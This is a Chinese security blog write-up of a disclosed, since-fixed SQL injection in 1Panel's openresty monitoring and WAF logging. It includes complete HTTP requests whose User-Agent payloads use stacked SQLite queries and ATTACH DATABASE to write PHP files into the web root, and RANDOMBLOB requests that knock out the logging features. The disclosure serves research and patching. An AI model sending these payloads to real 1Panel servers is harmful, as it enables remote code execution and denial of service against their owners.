0x00 1Panel 架构

1Panel 大致架构如下,面板本身是运行在宿主机上的,搭建的网站运行的其他服务等都是在docker内

34085-mhf27my8169.png

请求日志,访问日志是在1panel/openresty容器里面的各种.db文件里面存储着,通过lua文件写入的, waf功能以及网站监控功能也是在1panel/openresty容器内实现并存储的,然后面板去读取展示

90461-kapnrjfpl4p.png

复现视频 https://www.bilibili.com/video/BV1tt8ue6EmU/

漏洞在6月初发现,反馈给1p官方后,六月中修复,7月中漏洞公开

0x1 测试版本

专业版 v1.10.10-lts
社区版 v1.10.10-lts
1panel/openresty:1.21.4.3-3-1-focal

0x2 影响范围

网站监控功能影响 == 1panel/openresty:1.21.4.3-3-1-focal
WAF功能影响 <= 1panel/openresty:1.21.4.3-3-1-focal

0x3 网站监控功能

利用条件:

  • 专业版,并开启网站监控功能
  • 关闭waf功能
  • 安装有1P-openresty容器且搭建有php环境网站

3.1 发现注入

这里会记录请求日志

54024-mck2p3v6af.png

他记录的字段有 re ua头等

77768-th6p61i1lg.png

在记录的字段上加上单引号会发现没有成功记录日志,猜测这里存在一个inser的sql注入

73269-c7hf6jhpnmh.png

进一步验证因为数据库是sqlite,我们尝试一下字符串拼功能最后记录是啥样子的,发送数据包

User-Agent: Mozilla/5.0'||"blog.mo60.cn"||'b

发现字符串被拼接了,确定了这里存在一个insert的注入

84966-m75osymtreg.png

3.2 文件定位

这个功能的数据库在

/usr/local/openresty/1pwaf/data/db/sites/网站编号/site_req_logs.db

或者在宿主机的

/opt/1panel/apps/openresty/openresty/1pwaf/data/db/sites/网站代号

写入数据库语句的脚本在

/usr/local/openresty/1pwaf/lib/monitor_log.lua

执行的sql语句如下
54224-utnmrnt1m6t.png

INSERT INTO site_req_logs (
            server_name, host,ip, ip_iso, ip_country_zh,
            ip_country_en, ip_province_zh, ip_province_en, 
            uri, user_agent, method, status_code, referer,
            spider, request_time, localtime, time, request_uri,
            flow, day, hour, uv_id, referer_domain,
            os,browser,device,pv_tag,uv_tag
        ) VALUES (
            '%s', '%s', '%s', '%s', '%s',
            '%s', '%s', '%s', 
            '%s', '%s', '%s', %d, '%s',
            '%s', %d, DATETIME('now'), %f, '%s',
            %d, '%s', '%s', '%s', '%s',
            '%s', '%s', '%s','%s','%s'
        )

我们可控的位置在user_agent头也就是

VALUES (
            '%s', '%s', '%s', '%s', '%s',
            '%s', '%s', '%s', 
            '可控点', '%s', '%s', %d, '%s',
            '%s', %d, DATETIME('now'), %f, '%s',
            %d, '%s', '%s', '%s', '%s',
            '%s', '%s', '%s','%s','%s'
        )

3.3 Getshell

这里我们先测试一下存不存在堆叠注入,先闭合前面的然后在构造插入新语句的poc

GET / HTTP/1.1
Host: 192.168.99.6
User-Agent: ua', 'blog.mo60.cn', 5201314, '', '', 1, '2024-06-09 08:16:52', 1817921010.847, '/AAAAAAA', 52014, '2025-06-09', '16', '', '', 'Linux', 'edge', 'pc', '', '');INSERT INTO "main"."site_req_logs" ("id", "server_name", "host", "ip", "ip_iso", "ip_country_zh", "ip_country_en", "ip_province_zh", "ip_province_en", "ip_longitude", "ip_latitude", "uri", "user_agent", "method", "status_code", "referer", "spider", "request_time", "localtime", "time", "request_uri", "flow", "day", "hour", "uv_id", "referer_domain", "os", "browser", "device", "pv_tag", "uv_tag")VALUES (18, '192.168.99.6', '192.168.99.6', '192.168.99.2', 'Local', 'blog.mo60.cn', 'Intranet', '', '', NULL, NULL, '/blog.mo60.cn', 'blog.mo60.cn', 'blog.mo60.cn', 114514, '', '', 1, '2024-06-09 08:16:52', 1717921010.847, '/aa', 552, '2024-06-09', '16', '', '', 'windows', 'edge', 'pc', '', '');#
Connection: close

可以看到插入了我们的语句

58819-8iadv9n3g6.png

那么我们的思路是通过堆叠注入写出文件,到网站目录下,因为网站大部分是支持php的,默认网站路径格式如下

/www/sites/网站代号(默认为域名)/index/

然后构造poc写入文件

ATTACH DATABASE '/www/sites/index/index/mo60.cn.php' AS test ;create TABLE test.exp (dataz text) ; insert INTO test.exp (dataz) VALUES ('<?php phpinfo();?>');#

然后发送数据包

80588-5f91688fbto.png

然后进入容器查看一下,发现文件写入成功

58230-vmlteiqvtmq.png

访问成功执行

27475-qq3xv8pi72i.png

测试poc

GET / HTTP/1.1
Host: 192.168.99.6
User-Agent: ua', 'blog.mo60.cn', 5201314, '', '', 1, '2024-06-09 08:16:52', 1817921010.847, '/AAAAAAA', 52014, '2025-06-09', '16', '', '', 'Linux', 'edge', 'pc', '', '');ATTACH DATABASE '/www/sites/index/index/mo60.cn.php' AS test ;create TABLE test.exp (dataz text) ; insert INTO test.exp (dataz) VALUES ('<?= md5("blog.mo60.cn"); ?>');#

发送后如果写入文件并输出C930b955726e241e6a7aa1e4184b54e7f就是存在

96431-e1z02na9ud.png

这个利用方式在开启waf的情况下无法利用,大致示意图

44326-xbi7siltexi.png

3.4 功能DDOS

这里是利用到RANDOMBLOB 是SQLite数据库中的一个函数,它的主要用途是生成一个指定长度的包含随机字节的二进制大对象(BLOB)。,然后传入一个RANDOMBLOB(39990000)

GET / HTTP/1.1
Host: 192.168.99.6
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36 Edg/125.0.0.0'||RANDOMBLOB(39990000)||'blog.mo60.cn
Connection: close

发送后来到请求日志查看,直接响应超时功能全部用不了

http://192.168.99.6:13515/xpack/monitor/log

30547-cvqi2iqiek4.png

上面的操作导致数据库文件特别大因为生成了太大字节的内容

14952-je0w6kvvrab.png

0x4 WAF功能

利用条件:

  • 开启waf功能
  • 安装有1P-openresty容器且搭建有php环境网站

4.1发现注入

先来一条会触发waf的规则

64904-117jso5e9la9.png

可以看到在waf拦截记录里面记录了

http://URL/xpack/waf/websites

31583-o075u709kl.png

可以看到记录的字段跟上面也差不多

36923-jukq0to3ww.png

直接测试有没有注入

User-Agent: Mozilla/5.0'||"blog.mo60.cn"||'b

可以看到最近得到的是拼接后的结果,这里存在注入

78717-bn4faiug3u.png

4.2文件定位

进入op的到容器里面

docker exec -it 8fbeeb7b4dbc /bin/bash

数据库的路径位于,是SQLite数据库

/usr/local/openresty/1pwaf/data/db/

里面有两个数据库文件,1pwaf.dbreq_log.db,一个是记录的waf的开关情况配置等,另外一个是我们需要的请求日志,我们的拦截日志就在这个库里面记录着

38921-k80g3gf9fc.png

然后把db文件拷贝到宿主机上分析一下,后面发现就在1panel的文件路径里面就有不需要特意进入到容器/opt/1panel/

docker cp 8fbeeb7b4dbc:/usr/local/openresty/1pwaf/data/db/req_log.db .

可以看到我们的拦截记录就在这里面

45739-wjadhcs5n5k.png

然后通过搜索找到的插入语句在

/usr/local/openresty/1pwaf/lib/attack_log.lua

打开可以看到执行的sql语句

84835-2s8mjzqjhtg.png

INSERT INTO req_logs (
        id, ip, ip_iso, ip_country_zh, ip_country_en,
        ip_province_zh, ip_province_en, ip_longitude, ip_latitude, localtime, 
        time,server_name,  website_key, host, method,
        uri, user_agent, exec_rule, rule_type, match_rule, match_value,
        nginx_log, blocking_time, action, is_block, is_attack
    ) VALUES (
        '%s', '%s', '%s', '%s', '%s',
        '%s', '%s', %d, %d, DATETIME('now'),
         %f,  '%s', '%s', '%s', '%s',
         '%s', '%s', '%s', '%s', '%s', '%s', 
         '%s', %d, '%s', %d, %d
    )

我们的可控点在第二个插入参数的位置

VALUES (
        '%s', '%s', '%s', '%s', '%s',
        '%s', '%s', %d, %d, DATETIME('now'),
         %f,  '%s', '%s', '%s', '%s',
         '%s', '可控点', '%s', '%s', '%s', '%s', 
         '%s', %d, '%s', %d, %d
    )

4.3 Getshell

先构造好poc

ATTACH DATABASE '/www/sites/index/index/mo60.cn.php' AS test ;create TABLE test.exp (dataz text) ; insert INTO test.exp (dataz) VALUES ('<?= md5("blog.mo60.cn"); ?>');#

然后这里利用ua头位置注入来写入文件

GET /.git/config HTTP/1.1
Host: 192.168.99.6
User-Agent: blog.mo60.cn',"args", "sqlInjectA", "", "YmxvZy5tbzYwLmNu", "blog.mo60.cn", 0, "deny", 0, 1);ATTACH DATABASE '/www/sites/index/index/mo60.cn.php' AS test ;create TABLE test.exp (dataz text) ; insert INTO test.exp (dataz) VALUES ('<?= md5("blog.mo60.cn"); ?>');#
Connection: close

58723-02pmtls4gs3q.png

访问成功执行

47350-n1iob8sn3z.png

这里利用只要开启waf功能即可

4.4 功能DDOS

还是利用生成一大堆数据,然后让这个接口响应超时

GET /.git/config HTTP/1.1
Host: 192.168.99.6
User-Agent: blog.mo60.cn'||RANDOMBLOB(79990000)||'blog.mo60.cn
Connection: close

然后来到拦截日志,开始转圈圈

86580-d1b3g7jn0uf.png

然后过一会提示请求错误

22426-miscb82dww9.png

Last modification:July 22, 2024
  • 本文作者:Juneha
  • 本文链接:https://blog.mo60.cn/index.php/archives/1Panel_SQLinjection2Rce.html
  • 版权声明:本博客所有文章除特别声明外,均默认采用 CC BY-NC-SA 4.0 许可协议。
  • 法律说明:
  • 文章声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由用户承担全部法律及连带责任,文章作者不承担任何法律及连带责任,本人坚决反对利用文章内容进行恶意攻击行为,推荐大家在了解技术原理的前提下,更好的维护个人信息安全、企业安全、国家安全,本文内容未隐讳任何个人、群体、公司。非文学作品,请勿过度理解,根据《计算机软件保护条例》第十七条,本站所有软件请仅用于学习研究用途。
如果觉得我的文章对你有用,请随意赞赏,可备注留下ID方便感谢